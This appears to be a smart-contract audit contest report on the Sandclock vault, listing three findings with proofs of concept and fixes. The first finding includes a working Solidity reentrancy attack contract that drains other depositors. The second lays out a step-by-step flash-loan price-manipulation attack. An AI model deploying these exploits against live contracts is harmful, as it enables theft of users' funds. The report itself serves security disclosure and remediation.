Sandclock contest - hickuphh3's results

Handle

hickuphh3

Vulnerability details

Impact

The deposit() function does not have reentrancy protection. This allows reentrancy to occur through the implementation of a malicious claim’s beneficiary onDepositMinted() function that will cause all users’ deposits to be erroneously interpreted as yield instead.

Specifically, while shares for the first deposit have been minted, funds have not been transferred when reentrancy occurs. Hence, the shares calculated for the reentrant deposit use a lower totalUnderlyingMinusSponsored() than expected, resulting in more claim shares minted.

Proof of Concept

A gist of the attack script and contract is attached here.

Bob writes (rather, I wrote =p) the following malicious beneficiary contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import '../integrations/IIntegration.sol';
import '../vault/IVault.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol';

contract MintAttack is IIntegration, ERC165, ERC721Holder {
    address public admin;
    uint256 public amount;

    constructor(address _admin) {
        admin = _admin;
    }

    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IIntegration).interfaceId || super.supportsInterface(interfaceId);
    }

    function setAmount(uint256 _amount) external {
        amount = _amount;
    }

    function giveAllowance(IERC20 token, address to) external {
        token.approve(to, type(uint256).max);
    }

    function setApprovalToAdmin(IERC721 depositor) external {
        depositor.setApprovalForAll(admin, true);
    }

    function onDepositMinted(
        uint256 _depositID,
        uint256 _shares,
        bytes memory _data
    ) external returns (bytes4) {
        // do deposit
        IVault.ClaimParams memory claimParam = IVault.ClaimParams({
            pct: 10_000,
            beneficiary: admin,
            data: '0x'
        });
        IVault.ClaimParams[] memory claimParams = new IVault.ClaimParams[](1);
        claimParams[0] = claimParam;
        IVault(msg.sender).deposit(
            IVault.DepositParams({
                amount: amount,
                claims: claimParams,
                lockedUntil: 0
            })
        );
        return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)"));
    }

    function onDepositBurned(
        uint256 _depositID
    ) external returns (bytes4) {
        return bytes4(keccak256("onDepositBurned(uint256)"));
    }
}

1. Assume Alice calls deposit() with 1000 DAI (underlying token).
2. Bob transfers 10_000 DAI into the malicious contract, then calls deposit() with 10_000 DAI with the malicious contract as the beneficiary (depositing a total of 20_000 DAI).

We see disastrous results:

1. If Alice attempts to withdraw, the transaction will revert with Vault: cannot withdraw more than the available amount. Executing a forced withdrawal results in her only receiving ~173 DAI in return (about 82.7% loss).
2. Bob is allocated about 9090 DAI in yield (loss in deposits, but made up with claims).

We therefore see that a portion of both users’ deposits are considered as yield as a result of this attack.

Recommended Mitigation Steps

Import and use OpenZeppelin’s reentrancy guard for crucial user actions (deposits, claiming yields and withdrawals).

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

Handle

hickuphh3

Vulnerability details

Impact

It is critical to ensure that _minLockPeriod > 0 because it is immutable and cannot be changed once set. A zero minLockPeriod will allow for flash loan attacks to occur. Vaults utilising the nonUST strategy are especially susceptible to this attack vector since the strategy utilises the spot price of the pool to calculate the total asset value.

Proof of Concept

Assume the vault’s underlying token is MIM, and the curve pool to be used is the MIM-UST pool. Further assume that both the vault and the strategy holds substantial funds in MIM and UST respectively.

1. Flash loan MIM from the Uniswap V3 MIM-USDC pool (currently has ~$3.5M in MIM at the time of writing).
2. Convert half of the loaned MIM to UST to inflate and deflate their prices respectively.
3. Deposit the other half of the loaned MIM into the vault. We expect curvePool.get_dy_underlying(ustI, underlyingI, ustAssets); to return a smaller amount than expected because of the previous step. As a result, the attacker is allocated more shares than expected.
4. Exchange UST back to MIM, bringing back the spot price of MIM-UST to a normal level.
5. Withdraw funds from the vault. The number of shares to be deducted is lower as a result of (4), with the profit being accounted for as yield.
6. Claim yield and repay the flash loan.

Recommended Mitigation Steps

Ensure that _minLockPeriod is non-zero in the constructor. Also, given how manipulatable the spot price of the pool can be, it would be wise to consider an alternative price feed.

// in Vault#constructor
require(_minLockPeriod > 0, 'zero minLockPeriod');

Handle

hickuphh3

Vulnerability details

Impact

Withdrawals are processed solely with funds that are held by the vault. Should there be insufficient liquidity (Eg. many withdrawals in a short time), users have to rely on a trusted party (operator) to move funds from the investment strategy to the vault.

As long as one operator is compromised, that operator can remove all other authorized parties to make himself to be the sole operator. Funds are then held hostage by the hacker (refuse to call withdrawToVault() on the strategy until a ransom is paid, for instance).

Recommended Mitigation Steps

Strategies (BaseStrategy) have a withdrawToVault() function. This should be utilised to attempt to withdraw any shortfall between a user’s withdrawal amount and the underlying token balance of the vault.

function _withdraw(
  address _to,
  uint256[] memory _ids,
  bool _force
) internal {
	...
	uint256 currentBalance = underlying.balanceOf(address(this));
	if (amount > currentBalance) {
		// attempt to withdraw shortfall to vault
		strategy.withdrawToVault(amount - currentBalance);
	}
	underlying.safeTransfer(_to, amount);
}

// TODO: do likewise for _unsponsor